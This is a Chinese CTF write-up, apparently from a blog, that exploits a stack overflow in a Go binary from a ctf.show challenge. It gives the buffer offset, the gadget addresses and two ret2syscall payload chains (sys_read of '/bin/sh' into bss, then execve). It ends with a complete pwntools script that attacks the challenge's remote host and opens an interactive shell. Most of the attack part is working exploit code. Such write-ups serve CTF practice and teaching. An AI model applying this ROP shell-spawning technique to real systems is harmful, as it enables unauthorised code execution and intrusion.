i 一个用go语言写的程序。
alt+f7用go_parser修复一下

主要的函数,只有一个输入点,因为是go语言写的,其反汇编也是很难看懂

主要看汇编,它后面会将输入的字符串复制到栈上

在scanner输入这里会检查这个位置的值是否为0
为了方便全都用0填充
脚本的具体调试是报错的,看不了,也只能分析个大概。


直接gdb


算出距离rbp是0x1c8的距离。
这种题一般是用ret2syscall。而往年的国赛题也是ret2syscall居多。
找到的gadget

syscall;ret是很难找到的。通过gadget找不到。

先sys_read在bss段输入bin/sh,再sys_execve.
1 2 3
| payload=b'\x00'*0x1d0+p64(pop_rdi_r14)+p64(0)*6 payload+=p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(8)+p64(pop_rax)+p64(0)+p64(syscall_ret)
|
1 2
| payload+=p64(pop_rdi_r14)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall_ret)
|
同时也顺带复习一下,sys_read的各个寄存器的值,rax=0,rdi=0,rsi=bss,rdx=size.
sys_execve,rax=0x3b,rdi=bin/sh_addr,rsi=0,rdx=0.
前面按照脚本一样写一直跑不通,后面突然就跑通了,也是有点离谱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import* from LibcSearcher import * p=remote("pwn.challenge.ctf.show",28159)
context.log_level="debug" context(arch='amd64',os='linux')
pop_rdi_r14=0x4a18a5 pop_rax=0x40f984 bss=0x5655C2 pop_rsi=0x42138a pop_rdx=0x4944ec syscall_ret=0x4616C9
payload=b'\x00'*0x1d0+p64(pop_rdi_r14)+p64(0)*6 payload+=p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(8)+p64(pop_rax)+p64(0)+p64(syscall_ret)
payload+=p64(pop_rdi_r14)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall_ret)
p.sendlineafter('magic message :',payload)
p.sendline(b'/bin/sh\x00') p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~